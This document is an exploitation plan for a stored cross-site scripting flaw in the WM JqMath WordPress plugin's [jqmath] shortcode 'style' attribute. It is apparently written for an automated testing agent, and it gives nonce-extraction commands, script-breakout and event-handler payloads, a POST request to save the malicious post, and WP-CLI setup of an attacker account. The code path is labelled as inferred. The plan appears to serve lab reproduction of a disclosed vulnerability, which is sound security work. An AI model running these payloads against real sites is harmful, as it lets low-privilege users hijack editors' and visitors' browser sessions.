WM JqMath <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'style' Shortcode Attribute

Vulnerability Analysis: CVE-2026-3998 - Stored XSS in WM JqMath

1. Vulnerability Summary

The WM JqMath plugin (versions <= 1.3) contains a stored cross-site scripting (XSS) vulnerability within the handling of its [jqmath] shortcode. Specifically, the function generate_jqMathFormula() processes attributes passed to the shortcode. The style attribute is accepted from user input and concatenated directly into an HTML <span> or <div> tag's style attribute without being passed through esc_attr() or similar sanitization. This allows an authenticated user with at least "Contributor" privileges (who can create posts) to inject arbitrary HTML attributes or break out of the style attribute to inject <script> tags.

2. Attack Vector Analysis

• Shortcode: [jqmath]
• Vulnerable Attribute: style
• Authentication Level: Contributor or higher. Contributors can create and save posts but cannot publish them; however, the XSS will execute when an Administrator or Editor previews the post or if the post is published.
• Payload Location: The payload is embedded within the style attribute of the shortcode inside the post content.
• Endpoint: Standard WordPress post creation/editing (/wp-admin/post.php or REST API /wp/v2/posts).

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in the main plugin file (likely wm-jqmath.php):
   add_shortcode('jqmath', 'generate_jqMathFormula');
2. Attribute Parsing: When a post containing [jqmath] is rendered, WordPress calls generate_jqMathFormula($atts, $content).
3. Processing: Inside generate_jqMathFormula():
   • The $atts array is processed (possibly using shortcode_atts).
   • The value of $atts['style'] is retrieved.
4. Sink: The value is concatenated into an HTML string:
   return '<span style="' . $atts['style'] . '">' . $formula_markup . '</span>'; (inferred)
5. Output: The unescaped string is returned to the WordPress content filter and rendered in the browser.

4. Nonce Acquisition Strategy

To exploit this as an authenticated Contributor via the web interface, the agent must obtain a valid post-editing nonce.

1. Login: Use the http_request tool to authenticate as a Contributor.
2. Access Post Creator: Navigate to wp-admin/post-new.php.
3. Extract Nonce: Use browser_eval to extract the _wpnonce required for the sample-permalink or the primary post-saving action.
   • _wpnonce is typically found in the #_wpnonce input field.
   • Command: browser_eval("document.querySelector('#_wpnonce').value")
4. Alternative (REST API): If the Block Editor is used, the agent can extract the REST nonce from the wpApiSettings object:
   • Command: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

The goal is to inject a <script> tag by breaking out of the style attribute.

Step-by-step Plan:

1. Authentication: Authenticate the agent as a user with the contributor role.
2. Payload Construction:
   • The target context is <span style="[USER_INPUT]">.
   • Payload: ";><script>alert(document.domain)</script>
   • Full Shortcode: [jqmath style='";><script>alert(document.domain)</script>']test[/jqmath]
3. Post Creation:
   • Use the http_request tool to send a POST request to /wp-admin/post.php.
   • Action: editpost
   • Parameters:
     • post_ID: (The ID of a newly created draft)
     • _wpnonce: (Extracted in Step 4)
     • content: [jqmath style='";><script>alert(document.domain)</script>']test[/jqmath]
     • post_title: XSS Test
4. Execution: Navigate to the permalink of the draft post or use the "Preview" functionality.
5. Confirmation: Check the response body for the unescaped script tag.

6. Test Data Setup

Before exploitation, ensure the environment is ready:

1. Plugin Activation: Verify wm-jqmath is installed and active.
2. User Creation: Create a contributor user:
   wp user create contributor_attacker attacker@example.com --role=contributor --user_pass=password123
3. Target Post: Create a blank draft post for the contributor to edit:
   wp post create --post_type=post --post_status=draft --post_author=$(wp user get contributor_attacker --field=ID) --post_title="Draft"

7. Expected Results

• Injected Content: When viewing the source of the rendered post, the output should look like:
  <span style="";><script>alert(document.domain)</script>">...</span>
• Execution: A browser navigating to the post should trigger the alert(document.domain) JavaScript.

8. Verification Steps

1. WP-CLI Verification: After the HTTP request, verify the content is stored in the database:
   wp post get [POST_ID] --field=post_content
   Confirm it contains the payload exactly as sent.
2. Frontend Check: Use browser_navigate to the post's URL and check for the alert or the existence of the script tag in the DOM:
   browser_eval("document.querySelector('script').textContent.includes('alert')")

9. Alternative Approaches

If breaking out of the style attribute with "> is blocked or fails due to specific quote handling:

1. Attribute Injection: Inject an onmouseover event if the style attribute value is placed inside a tag but not properly enclosed:
   • Payload: x" onmouseover="alert(1)
   • Shortcode: [jqmath style='x" onmouseover="alert(1)']
2. CSS-Based XSS (Legacy Browsers): If direct script injection is filtered but the style attribute is kept, attempt:
   • Payload: background-image: url("javascript:alert(1)") (Note: This is rarely effective in modern browsers but confirms the lack of sanitization).
3. Attribute Breakout (Single Quote): If the plugin wraps the attribute in single quotes:
   • Payload: ';><script>alert(1)</script>